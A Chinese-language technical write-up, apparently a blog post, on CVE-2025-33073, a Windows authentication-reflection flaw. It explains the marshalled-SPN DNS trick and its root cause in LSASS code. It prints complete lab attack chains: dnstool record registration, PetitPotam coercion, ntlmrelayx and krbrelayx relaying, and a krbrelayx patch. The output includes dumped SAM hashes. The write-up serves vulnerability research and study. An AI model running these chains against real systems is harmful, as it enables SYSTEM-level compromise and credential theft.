CVE-2025-33073
發現:在 HackTheBox 上打到一台靶機,查了半天發現是 0day
CVE-2025-33073 是什麼
Bypass NTLM 反射措施,並且允許任何不強制 smb 簽章的電腦,作為 SYSTEM 執行任意命令
你需要先知道
NTLM 反射
- 最一開始 NTLM 反射攻擊出現在 2008 年的 ms08-068 CVE-2008-4037
- 漏洞成因:攻擊者可以透過 SMB Relay 的方式反射 NTLM 來達到 RCE
- 在當時 windows 所有的版本都受到影響
- 而當時到現在的 patched 被稱為緩解機制,因為這個弱點沒有真正被修好過,只是緩解,雖然還是有一段時間人們認為他真的被修好了
- SMB Relay 是 2001 被提出來的
一切的開始
一直到 2024 年出現這篇 X 文章 同時這也是他在 Black Hat 2024 發表的議程: CertifiedDCOM: The Privilege Escalation Journey to Domain Admin with DCOM 這個文章提到 Kerberos 反射不受限制,開始了 CVE-2025-33073 的誕生
Using Kerberos for Authentication Relay Attacks
- Windows 企業網路依賴如 NTLM 和 Kerberos 來做 SSO (單一登入),然後它會透過 Local Security Authority (LSA) 本機安全性授權單位進程運作。
- 好處是當用戶要登入的時候會自動登入,壞處是如果攻擊者可以誘騙使用者連接到他們控制的伺服器,攻擊者可能會誘導使用者的網路用戶端啟動驗證程式,並使用該資訊向不相關的服務進行驗證,讓攻擊者以使用者身分存取該服務的資源。
- 當身份驗證協定以這種方式被捕獲並轉發到另一個系統時,它被稱為身份驗證中繼攻擊 (Authentication Relay attack)。
即使在 2021 年,NTLM 中繼攻擊仍然對 Windows 域網絡的默認配置構成構成威脅。NTLM 轉送的最新主要濫用是透過 Active Directory 憑證服務 Web 註冊服務 。 這與 PetitPotam 技術相結合,誘導域控制器執行 NTLM 身份驗證,允許未經身份驗證的攻擊者入侵 Windows 域。
這裡剛好是 HackTheBox-DarkCorp 後面的打法
為什麼沒有 Kerberos 轉送攻擊?
如果把 NTLM 禁用,改用 Kerberos 進行驗證呢? 這篇文章指出沒辦法這麼做,但是他後來被推翻,也更新了他發布的工具 krbrelayx , Kerberos 可以透過 DNS 驗證
PS. 他的文章很有料
Defcon 29/ Blackhat EU 2021 特定服務器的 MitM 網絡流量,可以轉送 Kerberos 身份驗證
- MitM 攻擊與常見的 NTLM 轉送攻擊案例略有不同,您可以誘導已加入網域的系統向攻擊者控制的伺服器進行驗證,然後將該驗證轉送至不相關的服務。
- NTLM 很容易中繼,因為它的設計目的不是要區分特定服務的身份驗證和任何其他服務。
- 唯一獨特的方面是伺服器(以及後來的用戶端)挑戰,但該值並非特定於服務,因此 SMB 的身份驗證可以轉發到 HTTP,而受害者服務無法分辨差異。
- EPA 已改裝到 NTLM 上,以使驗證特定於服務,但由於回溯相容性,這些緩解措施並不總是使用。
另一方面,Kerberos 一律需要事先透過主體名稱指定驗證的目標 ,這通常是服務主體名稱 Service Principal Name (SPN) ,不過在某些情況下它可以是使用者主體名稱 User Principal Name (UPN)。 SPN 通常表示為 CLASS/INSTANCE:PORT/NAME 格式的字串 ,其中 CLASS 是服務類別,例如 HTTP 或 CIFS,INSTANCE 通常是託管服務的伺服器的 DNS 名稱,PORT 和 NAME 是可選的。
- Kerberos 票證授與伺服器 (TGS) 會使用 SPN 來選取針對驗證產生的 Kerberos 服務票證的共用加密金鑰。
- 此通行證包含鑑別使用者的詳細資料, 這是根據使用者起始 Kerberos 鑑別程序期間所要求的 「授與通行證 (TGT)」 內容。
- 用戶端可以將服務的票證封裝成驗證通訊協定要求 (AP_REQ) 驗證權杖,以傳送至伺服器。
如果不知道共用加密金鑰,服務就無法解密 Kerberos 服務票證,而且驗證會失敗。因此,如果嘗試使用 SPN CIFS/fileserver.domain.com 對 SMB 服務進行 Kerberos 驗證,則如果轉送目標是具有 SPN HTTP/fileserver.domain.com 的 HTTP 服務,則該票證應該無法使用 ,因為共用金鑰應該不同。
實際上,這在 Windows 網域網路中很少發生。
- 網域控制站會將 SPN 與使用者帳戶產生關聯,最常見的是已加入網域伺服器的電腦帳戶,而金鑰衍生自帳戶的密碼。
- CIFS/fileserver.domain.com 和 HTTP/fileserver.domain.com SPN 可能會指派給 FILESERVER$ 電腦帳戶,因此兩個 SPN 的共用加密金鑰會相同,理論上驗證可以從一個服務轉送至另一個服務。
- 接收服務可以從驗證 API 查詢已驗證的 SPN 字串,然後將它與其預期值進行比較,但此檢查通常是選擇性的。
選取要用於 Kerberos 驗證的 SPN 通常是由目標伺服器的主機名稱所定義。 在中繼攻擊中,攻擊者的伺服器將與目標不同。
例如,SMB 連線可能會以攻擊者的伺服器為目標,並將指派 SPN CIFS/evil.com。
假設此 SPN 已註冊,由於電腦帳戶不同,它很可能具有與 CIFS/fileserver.domain.com SPN 不同的共用加密金鑰。 因此,將驗證轉送至目標 SMB 服務將會失敗,因為無法解密票證。
但這裡的內容應該被推翻了才對,因為前面我有提到 Kerberos 可以透過 DNS 驗證,正是透過 SPN
封送處理目標資訊 SPN
SMB 用戶端會使用函式 SecMakeSPNEx2 從服務類別和名稱建置 SPN 值。您可能會認為這只會依原樣傳回 SPN,但事實並非如此。 相反地,對於具有服務類別 cifs 的檔案伺服器主機名,您會傳回 SPN, 如下所示:
cifs/fileserver1UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAfileserversBAAAA
查看 SecMakeSPNEx2 的實現,它會調用 API 函數 CredMarshalTargetInfo。
- API 會採用 CREDENTIAL_TARGET_INFORMATION 結構中的目標資訊清單,並使用 base64 字串編碼對其進行封送處理。
- 此封送處理字串會附加至實際 SPN 的結尾。
程式碼只是將一些額外的目標資訊附加到 SPN 的結尾,大概是為了更容易傳遞。 作者最初的假設是,在 SMB 用戶端傳遞至 SSPI API 之前,會移除此資訊。
然而,將此 SPN 值傳遞至 InitializeSecurityContext 作為目標名稱會成功,並可以取得 cifs/fileserver 的 Kerberos 服務票證 。
透過傳遞 SPN 值取得 Kerberos 服務票證是如何運作的?
- 在 lsasrv.dll 中的函式 SspiExProcessSecurityContext 內,這是 InitializeSecurityContext 的主要進入點 ,會呼叫 CredUnmarshalTargetInfo API,以剖析封送處理的目標資訊。
- 不過,SspiExProcessSecurityContext 並不關心未封送處理的結果,而是只會取得封送處理資料的長度,並從目標 SPN 字串的結尾移除該長度。
- 因此,在 Kerberos 套件取得目標名稱之前,它已經還原至原始 SPN。
稍早顯示的編碼 SPN 減去服務類別,是有效的 DNS 元件名稱,因此可以作為公用或本機 DNS 解析要求中的主機名稱。
這很有趣,因為這可能會提供一種欺騙主機名的方法,該主機名與實際目標服務不同,但在 SSPI API 處理時會請求欺騙服務票證。
例如,如果您使用字串 fileserver1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFILESERVERSBAAAA 作為 DNS 名稱,而且如果用戶端將服務類別附加至名稱,並將它傳遞至 SSPI,它會取得檔案伺服器的服務票證,不過 DNS 解析可能會簡單地傳回不相關的 IP 位址。
濫用這種行為有一些很大的限制。
- 封送處理的目標資訊必須有效,最後 6 個字元是整個封送處理緩衝區的編碼長度。
- 緩衝區的前置詞是 28 個位元組標頭,前 4 個位元組中的魔術值為
0x91856535。 - 如果此長度無效(例如,大於緩衝區或不是 2 的倍數),或魔術不存在,則 CredUnmarshalTargetInfo 呼叫會失敗。
- 而 SspiExProcessSecurityContext 會讓 SPN 保持原樣,隨後將無法查詢 SPN 的 Kerberos 票證。
名稱無效的最簡單方法是將其轉換為小寫。
- DNS 不區分大小寫,但通常伺服器會保留大小寫。
- 您可以查閱區分大小寫的名稱,DNS 伺服器會傳回未修改的名稱。
- 測試的 HTTP 用戶端似乎在使用前都會將主機名稱小寫,因此當它用於建置 SPN 時,它現在是不同的字串。
- 當取消封送處理時,’a’ 和 ‘A’ 代表不同的二進位值,因此封送處理資訊的剖析將會失敗。
另一個問題是 DNS 中單個名稱的大小限制為 63 個字符。
- 封送處理緩衝區的最小有效長度為 44 個字元,SPN 部分只會留下 19 個字元。
- 這至少大於 15 個字元的最小 NetBIOS 名稱限制,因此只要註冊的較短名稱有 SPN,就應該足夠了。
- 不過,如果沒有註冊簡短的 SPN 名稱,則會更難惡意探索。
理論上,您可以使用其 FQDN 來指定 SPN。
- 然而,很難建構這樣一個名字。長度值必須位於字串的結尾,而且必須是有效的封送處理值,因此 6 個字元內不能有任何點。
- TLD 可能為 6 個字元或更長,而且由於內嵌封送處理的值不會逸出,
因此可用來建構有效的 FQDN,然後解析為另一個 SPN 目標。比如:
fileserver1UWhRCAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAA.domain.oBAAAA
是有效的 DNS 名稱,可解析為檔案伺服器的 SPN。除了 oBAAAA 不是有效的公共 TLD。
- 從 ICANN 的網站抓取有效的 TLD(頂級網域)清單,並將所有長度在 6 個字元以上的值轉換為預期的長度值後,最小的、且是 2 的倍數的長度出現在 WEBCAM 這個 TLD。
- 這樣會導致產生一個至少 264,331 個字元長的 DNS 名稱,遠超過 DNS 中 FQDN(完全合格網域名稱)通常被認為有效的 255 字元限制。
因此,這仍然僅限於更多的本地攻擊,並且僅適用於有限的協議集。
例如,經過驗證的使用者可以使用此值註冊本機網域的 DNS 專案,並誘騙 RPC 用戶端使用其未點的主機名稱連線到它。 只要用戶端不修改名稱,而不是將服務類別放在上面 (或由 RPC 執行階段自動產生),這就會欺騙要求的 SPN。
使用 KRBRELAYX 透過 SMB 轉送 KERBEROS
再來就是要談談前面提過的 KRBRELAYX,會牽涉到上面說過的東西
Kerberos relaying 原理
- 目標是將一個 AP_REQ 訊息(由用戶端針對某個服務發起)轉送到另一個服務。
- 然而,這裡有一個關鍵前提:目標服務與用戶端不能強制要求加密或簽章。
- 因為我們並不擁有執行這些操作所需的秘密(session key)。
- 這個情境類似於 NTLM 中繼攻擊。
還有一個額外的挑戰:
- AP_REQ 訊息無法轉發到以與客戶端最初請求的身份不同的身份運行的不同服務。
- 為了使攻擊成功,我們需要強制客戶端為目標服務生成 AP_REQ 並將其發送給我們。
以下是我們想要實現的目標的視覺表示:

回顧文章
krbrelayx、 Kerberos 可以透過 DNS 驗證
回顧前面提過的這兩篇文章:
- Dirk-janm 證明,使用他的工具
mitm6/Krbrelayx和SOA DNS messages,可以毒害客戶端並強制它為任意服務發送 AP_REQ 消息,然後可以中繼該消息。 - 滿足所有要求的服務是 ADCS HTTP 端點,它預設容易受到中繼攻擊,因為它不強制使用 HTTP 進行簽名。
雖然這種攻擊是有效的,但它仍然需要能夠用 DHCPv6 消息毒害客戶端,通過將自己宣傳為 DNS 服務器來建立中間人位置。因此,不可能毒害任意客戶。
直到…
2024 年有一篇 X 文,他先利用 CredMarshalTargetInfo 技巧,並搭配 DFSCoerce 與 PetitPotam,再透過修改過的 krbrelay 將 SMB 流量轉發到 HTTP(ADCS),最後使用 Kerberos 執行經典的 ESC8 攻擊,整個過程不涉及 DCOM。
他還發布了一個名為 KrbRelay-SMBServer 的工具,可用於使用 James Forshaw 提到的 CredMarshalTargetInfo 技巧 (就是前面那個 AAAA) 通過 SMB 中繼 Kerberos。
他們的實驗
用 Frida 設定一些 hook 架設的環境
在實驗室中,有一個域控制器 (DC03) 和一個 ADCS 服務器 (PKI4)。 我們將勾點放在 CredUnmarshalTargetInfo 和 CredMarshalTargetInfo 上,當強制 ADCS 伺服器向 DC03 進行驗證時,我們會得到下列結果:

首先,會呼叫 CredUnmarshalTargetInfo。
提供的封送處理緩衝區只有服務名稱和類別 cifs/dc03,因此沒有任何內容要取消封送處理,而且 的 CREDENTIAL_TARGET_INFORMATIONW 傳回值為 Null。
然後,呼叫 CredMarshalTargetInfo:

這是常規行為。不過,當強制機器進入 DNS 記錄 dc031UWhRGAAAAAAAAAAIAAAAAAAAAAAAAAAQAAAAAtestKerberoswBAAAA 時,我們會取得對 CredUnmarshalTargetInfo 的呼叫,但這次使用的輸入緩衝區包含有效的封送處理結構:

因此,函式會傳回有效的 CREDENTIAL_TARGET_INFORMATIONW 結構,並使用相同的結構呼叫 CredMarshalTargetInfo:

這表示如果 SPN 已包含封送處理的 CREDENTIAL_TARGET_INFORMATIONW 結構,則會取消封送處理,並在後續呼叫中使用。否則,將會建立此結構。
如前面所提的:

為了在 DNS 記錄中獲得一些位置,我們可以構建最短的封送處理字符串。這可以透過分配一個空的 CREDENTIAL_TARGET_INFORMATIONW :

KRBRELAYX
接下來要嘗試是否能夠透過 KRBRELAYX 完成上述的攻擊 如果有看前面的內容,我有說到他有加入了 DNS 的功能,但其實已經有 SMB 伺服器支援 Kerberos 進行所有不受限制的委派攻擊。
首先
我們要註冊惡意記錄,如前所述,我們想要讓它指向我們的攻擊者機器
$ dnstool.py -u "INDUS.LOCAL\\user" -p "pass" -r "pki41UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" -d "172.16.1.146" --action add "172.16.1.3" --tcp
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
使用任何強制技術,我們現在可以強制網域控制站向我們進行驗證:
$ petitpotam.py -u 'user' -p 'pass' -d INDUS.LOCAL 'pki41UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' dc03.indus.local
wireshark

- 惡意的 SMB 伺服器會接收到 AP_REQ 訊息,這代表所需的功能其實已經整合在工具中。
- 由於 AP_REQ 擷取功能已經實作完成,從 AP_REQ 中取得的驗證資料就能傳遞給 ntlmrelayx 所支援的各種攻擊模組。
- 以 HTTP 為例,流程相對簡單:AP_REQ 會先進行 Base64 編碼,然後放進 HTTP 的 Authorization: Kerberos base64_AP_REQ 標頭裡。
結果如下:

然後,產生的 PFX 可用於向 DC 請求 TGT:
$ gettgtpkinit.py -cert-pfx 'DC03$.pfx' 'INDUS.LOCAL/DC03$' DC03.ccache
INFO:Loading certificate and key from file
INFO:Requesting TGT
INFO:AS-REP encryption key (you might need this later):
INFO:5aed9cb3f2f7af161efe2d43119e87a2dade54bed6bd4602d82051ecbac549a1
INFO:Saved TGT to file
回到 CVE-2025-33073
漏洞發現
嘗試將 SMB 身份驗證轉發回同一台機器時會發生什麼。 SRV1 是 Windows Server 2022,已加入網域,且未強制執行 SMB 簽署:
$ PetitPotam.py -u loki -p loki -d ASGARD.LOCAL 192.168.56.3 SRV1.ASGARD.LOCAL
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
# ntlmrelayx.py -t SRV1.ASGARD.LOCAL -smb2support
[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.56.14, attacking target smb://SRV1.ASGARD.LOCAL
[-] Authenticating against smb://SRV1.ASGARD.LOCAL as ASGARD/SRV1$ FAILED
PetitPotam 強制 SYSTEM 服務 (lsass.exe) 向受控機器進行身份驗證,因此會收到機器帳戶身份驗證。 由於驗證源自同一台機器,因此中繼會失敗。
為了尋找異常行為,我們擺弄了不同的參數,例如偵聽器主機或客戶端 IP 位址。
我們註冊了 srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA DNS 記錄並使其指向我們的 IP 位址。
當我們用這個 DNS 紀錄作為 listener 來強制 SRV1 時,意外發現一個奇怪的現象:中繼攻擊竟然成功了!
$ dnstool.py -u 'ASGARD.LOCAL\loki' -p loki 192.168.56.10 -a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 192.168.56.3
[-] Adding new record
[+] LDAP operation completed successfully
$ PetitPotam.py -u loki -p loki -d ASGARD.LOCAL srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA SRV1.ASGARD.LOCAL
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
# ntlmrelayx.py -t SRV1.ASGARD.LOCAL -smb2support
[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.56.14, attacking target smb://SRV1.ASGARD.LOCAL
[*] Authenticating against smb://SRV1.ASGARD.LOCAL as / SUCCEED
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x0c10b250470be78cbe1c92d1b7fe4e91
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:df3c08415194a27d27bb67dcbf6a6ebc:::
user:1000:aad3b435b51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea09c70:::
[*] Done dumping SAM hashes for host: 192.168.56.14
更令人驚訝的是,ntlmrelayx.py 能夠遠端轉儲 SAM 蜂巢,這意味著我們轉發的身分在機器上具有特權。 這對我們來說似乎很奇怪,因為機器帳戶在其關聯的機器上沒有特權。
了解漏洞
在使用 srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 這個主機名稱進行中繼時,發生的是 NTLM 本機驗證!
相反地,當以 IP 位址作為接聽端來強制觸發時,則出現的是 標準 NTLM 驗證。
本機 NTLM 驗證
NTLM 本機驗證是 NTLM 驗證的一種特殊情況。在這種模式下,伺服器會在 NTLM_CHALLENGE 訊息中通知用戶端:不需要在 NTLM_AUTHENTICATE 訊息中計算 Challenge Response。
相反地,伺服器會在 Challenge 訊息中設定 “Negotiate Local Call” 標誌,接著建立一個伺服器端的 驗證上下文 (context),把它加到全域的 context 清單,並且將 context ID 放在訊息的 Reserved 欄位裡。
當用戶端收到這個 NTLM_CHALLENGE 訊息後,就知道必須執行本機 NTLM 驗證。 它會把自己的 token 加入伺服器的驗證 context(透過 Reserved 欄位中的 ID 傳遞)。由於用戶端與伺服器在同一台機器上,所有操作都發生在同一個 lsass.exe 行程中。
最後,用戶端會回傳一個幾乎是空的 NTLM_AUTHENTICATE 訊息,而伺服器則利用它已經擁有的 token 來執行後續操作(在我們的案例中是透過 SMB)。
以下是使用 IP 位址作為偵聽器時伺服器傳回的 NTLM_CHALLENGE 訊息的網路擷取。我們可以看到,在交涉標誌中未啟用 NTLMSSP_NEGOTIATE_LOCAL_CALL (0x4000) 位,且保留標誌為 NULL。

相反,在另一個網路擷取上,會設定旗標,且保留值不是 NULL:

要決定是否要執行 本機 NTLM 驗證,伺服器會依據 NTLM_NEGOTIATE 訊息中的兩個欄位:
- 工作站名稱 (workstation name)
- 網域名稱 (domain)
在 Windows 的 msv1_0!SsprHandleNegotiateMessage 函式裡,伺服器會先檢查用戶端是否有提供這兩個欄位;如果有,則會將其與目前機器的名稱與網域進行比對。
- 若兩者相同,伺服器就會在 Challenge 訊息中加入 NTLMSSP_NEGOTIATE_LOCAL_CALL 旗標。
- 接著建立一個 伺服器驗證 context,並將其 ID 放進 Reserved 欄位。
程式碼的簡化版本如下:
NTSTATUS SsprHandleNegotiateMessage([...])
{
Context = LocalAlloc(0x160);
[...]
if ( RtlEqualString(&ClientSpecifiedWorkstationName, &NtLmGlobalOemPhysicalComputerNameString, 0) && RtlEqualString(&ClientSpecifiedDomainName, &NtLmGlobalOemPrimaryDomainNameString, 0) )
{
Context->Id = NtLmGlobalLoopbackCounter + 1;
ChallengeMessage->Flags |= NTLMSSP_NEGOTIATE_LOCAL_CALL;
InsertHeadList(&NtLmGlobalLoopbackContextListHead, Context);
ChallengeMessage->ServerContextHandle = Context->Id;
}
[...]
}
網路捕獲確認了此分析:當本機身份驗證協商時,NTLM_NEGOTIATE 消息同時包含客戶端的工作站名稱和域名:

而在另一種情況下,欄位都設定為 NULL:

這種行為差異表示用戶端會偵測到 DNS 記錄 srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA ,作為對等於 localhost,並提示伺服器應該考慮 NTLM 本機驗證。
根本原因
為了理解這個漏洞的根本原因,我們回溯到 SMB 用戶端 (mrxsmb.sys) 初始化驗證上下文的過程。
- 當它偵測到需要進行驗證時,會呼叫
ksecdd!AcquireCredentialsHandle函式(這其實是對 LSASS 的 RPC 呼叫,對應到使用者模式的同名函式),利用 Negotiate 封包來取得當前使用者身分的 認證控制代碼 (credential handle)。 - 接著,用戶端會呼叫
ksecdd!InitializeSecurityContextW,這同樣是一個對 LSASS 的 RPC 呼叫。 - 至於傳給 InitializeSecurityContextW 的 目標名稱 (target name),則取決於驗證強制 (coercion) 是透過 IP 位址還是 DNS 紀錄 進行:
- cifs/192.168.56.3
- cifs/srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
此函式的使用者模式進入點是 lsasrv!SspiExProcessSecurityContext。
此函式會呼叫 lsasrv!LsapCheckMarshalledTargetInfo 來移除目標名稱中可能存在的封送處理目標資訊:
NTSTATUS LsapCheckMarshalledTargetInfo(UNICODE_STRING *TargetName)
{
[...]
status = CredUnmarshalTargetInfo(TargetName->Buffer, TargetName->Length, 0, &TargetInfoSize);
if (NT_SUCESS(status))
{
Length = TargetName->Length;
TargetName->MaximumLength = TargetName->Length;
TargetName->Length = Length - TargetInfoSize;
}
[...]
return status;
}
呼叫此函式之後,目標名稱現在看起來像:
- cifs/192.168.56.3
- cifs/srv1
接下來,LSASS 會呼叫已經協商好的 驗證套件(在我們的案例中是 NTLM),更具體地說,是呼叫 msv1_0!SpInitLsaModeContext 函式。
由於必須產生一個 NTLM_NEGOTIATE 訊息,因此會進一步呼叫 msv1_0!SsprHandleFirstCall。
在這個函式中,系統會進行一連串檢查,以決定是否要在 NTLM_NEGOTIATE 訊息中加入 工作站名稱 (workstation name) 和 網域名稱 (domain name)。
NTSTATUS SsprHandleFirstCall(
HANDLE CredentialHandle,
NTLM_SSP_CONTEXT **SspContext,
ULONG fContextReq,
int a4,
PSSP_CREDENTIAL Credential,
UNICODE_STRING *TargetName,
_DWORD *a7,
void **a8,
LARGE_INTEGER SystemTime,
LARGE_INTEGER *a10,
_OWORD *a11,
LARGE_INTEGER LocalTime)
{
SspCredentialReferenceCredentialEx(CredentialHandle, 0, 1, &Credential);
[...]
SspIsTargetLocalhost(1, TargetName, &SspContext->IsLoopbackAllowed);
[...]
if (!SspContext->IsLoopbackAllowed && !NtLmGlobalDisableLoopbackCheck
|| (fContextReq & ISC_REQ_NULL_SESSION) != 0
|| Credential->DomainName
|| Credential->UserName
|| Credential->Password) {
SspContext->CheckForLocal = FALSE;
} else {
SspContext->CheckForLocal = TRUE;
}
[...]
if (SspContext->CheckForLocal) {
RtlCopyAnsiString(WorkstationName, NtLmGlobalOemPhysicalComputerNameString);
RtlCopyAnsiString(DomainName, NtLmGlobalOemPrimaryDomainNameString);
NegotiateMessage->OemWorkstationName = WorkstationName;
NegotiateMessage->OemDomainName = DomainName;
}
[...]
首先是 msv1_0!SspIsTargetLocalhost 函式可用來判斷目標名稱是否對應至目前的電腦。為此,服務類別(192.168.56.3 或 srv1)之後的部分(不區分大小寫)與數個字串進行比較:
- The FQDN of the machine (SRV1.ASGARD.LOCAL)
- The hostname of the machine (SRV1) → in our case, it matches!
- localhost
如果沒有相符項,則目標名稱會被視為 IP 位址,並與指派給目前電腦的所有 IP 位址進行比較。 如果先前的檢查均未通過,則目標名稱會被視為與目前的電腦不同。
最後,如果滿足以下所有條件,則工作站和域名將包含在 NTLM_NEGOTIATE 消息中:
- The target is the current machine
- The client did not ask for NULL authentication
- The current user’s credential are used (no explicit credentials were specified)
在我們的例子中,所有這些條件都是正確的,這就是為什麼 SMB 客戶端在強制使用名稱 srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 時提示伺服器進行本地 NTLM 身份驗證的原因。
為什麼我們在機器上享有特權?
- PetitPotam 強迫 lsass.exe 向我們的服務器進行身份驗證,lsass.exe 以 SYSTEM 的形式運行。
- 當用戶端 (lsass.exe) 收到指出必須執行本機 NTLM 驗證的 NTLM_CHALLENGE 訊息時,它會將其 SYSTEM 權杖複製到伺服器內容中。
- 當伺服器收到 NTLM_AUTHENTICATE 訊息時,它會從內容物件擷取權杖,並模擬它以透過 SMB 執行進一步的動作 (在我們的例子中,使用遠端登錄服務來傾印 SAM Hive 並入侵機器) 。
我們注意到可以註冊單個 DNS 記錄來破壞任何易受攻擊的機器: localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 。
事實上,當封送處理的目標資訊從目標名稱中剝離時,只會保留 localhost,這表示簽入 msv1_0!SspIsTargetLocalhost 也會傳遞,而不論機器的主機名稱為何。
Negotiate 工作流程
在第一次發現之後,我們想知道 Kerberos 是否也受到影響。 畢竟,如前所述,Kerberos 沒有針對反射攻擊的保護。因此,透過將 ntlmrelayx.py 替換為 krbrelayx.py 來執行相同的攻擊:
$ PetitPotam.py -u loki -p aloki -d ASGARD.LOCAL srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA SRV1.ASGARD.LOCAL
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
# krbrelayx.py -t SRV1.ASGARD.LOCAL -smb2support
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 192.168.56.13
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
[-] No negTokenInit sent by client
有趣的是,即使我們使用 DNS 紀錄作為 listener host,且 krbrelayx.py 宣告自己支援 Kerberos 作為驗證協定之一,最終仍然被協商成 NTLM 驗證。
原因其實很簡單,這和 Negotiate 驗證套件的運作方式有關:
- 如果遠端伺服器同時支援 Kerberos 和 NTLM(就像 krbrelayx.py)
- 而用戶端偵測到目標就是本機
- 那麼系統就會選擇 NTLM(以執行本機 NTLM 驗證)。
- 要判斷目標是否為本機,用到的是 lsasrv!NegpIsLoopback 函式。
- 它的邏輯和
msv1_0!SspIsTargetLocalhost類似,會把目標名稱和 localhost、機器的 FQDN、主機名稱 進行比較。 - 在我們的案例中,目標名稱正好等於主機名稱,因此
lsasrv!NegpIsLoopback回傳 true,導致系統選擇了 NTLM。 - 如果要強制使用 Kerberos,只需要從 advertised types 中移除 NTLM mechtype 即可。
File: krbrelayx/lib/servers/smbrelayserver.py
156: blob['tokenOid'] = '1.3.6.1.5.5.2'
157: blob['innerContextToken']['mechTypes'].extend([MechType(TypesMech['KRB5 - Kerberos 5']),
158: MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5']),
159: MechType(TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'])])
通過應用此補丁, relay 也能使用了!
$ PetitPotam.py -u loki -p aloki -d ASGARD.LOCAL srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA SRV1.ASGARD.LOCAL
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
# krbrelayx.py -t SRV1.ASGARD.LOCAL -smb2support
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 192.168.56.13
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x2969778d862ac2a6df59a263a16adbd1
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:04e87eb3e0d31f79a461386dfe9c7500:::
user:1000:aad3b435b51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea09c70:::
[*] Done dumping SAM hashes for host: srv1.asgard.local
我們採用了相同的調查方法:一開始先分析網路封包,以了解發生了什麼情況。
然而,封包分析並沒有顯示任何異常。透過 驗證強制 (authentication coercion),我們成功取得並轉送了一個針對 cifs/srv1 服務、使用 SRV1$ 帳號的 AP-REQ,這正是 Kerberos 驗證強制應該有的行為。
令人困惑的是,我們卻能夠傾印 SAM 登錄檔 (registry hive)。
這點讓我們感到不安,因為在理論上,機器帳號(此案例中被轉送的身分)在它所屬的機器上並不具備高權限。
根本原因
- 當 SMB 用戶端協商到使用 Kerberos(而非 NTLM)時,會呼叫
kerberos!SpInitLsaModeContext函式。 - 這個函式會進一步呼叫
kerberos!KerbBuildApRequest,而後再呼叫kerberos!KerbMakeKeyEx來建立一個 subkey(子金鑰)。 - 這個 subkey 是一把加密金鑰,驗證完成後,用戶端與伺服器可以選擇性地使用它來進行後續通訊的加密保護。
- 生成的 subkey 會被放入
AP-REQ訊息中的authenticator區段,並由用戶端送出。 - 如果使用的是 AES(預設情況),subkey 會透過呼叫 cryptdll!aes256RandomKey 隨機產生。
之後,如果當前使用者的身分是 NT AUTHORITY\SYSTEM 或 NT AUTHORITY\NETWORK SERVICE,系統就會呼叫 kerberos!KerbCreateSKeyEntry 函式。
NTSTATUS SpInitLsaModeContext([...])
{
[...]
KerbReferenceCredentialEx(CredentialHandle, 2u, 0, 0, &Credential);
[...]
if ((Credential.LogonId.LowPart == 0x3E7 || Credential.LogonId.LowPart == 0x3E4) && Credential.LogonId.HighPart == 0) {
GetSystemTimeAsFileTime(&SystemTimeAsFileTime);
&SystemTimeAsFileTime += 2 * KerbGlobalSkewTime.QuadPart;
KerbCreateSKeyEntry(
&Credential.LogonId,
&SubsessionKey,
&SystemTimeAsFileTime,
&TokenHandle
);
}
}
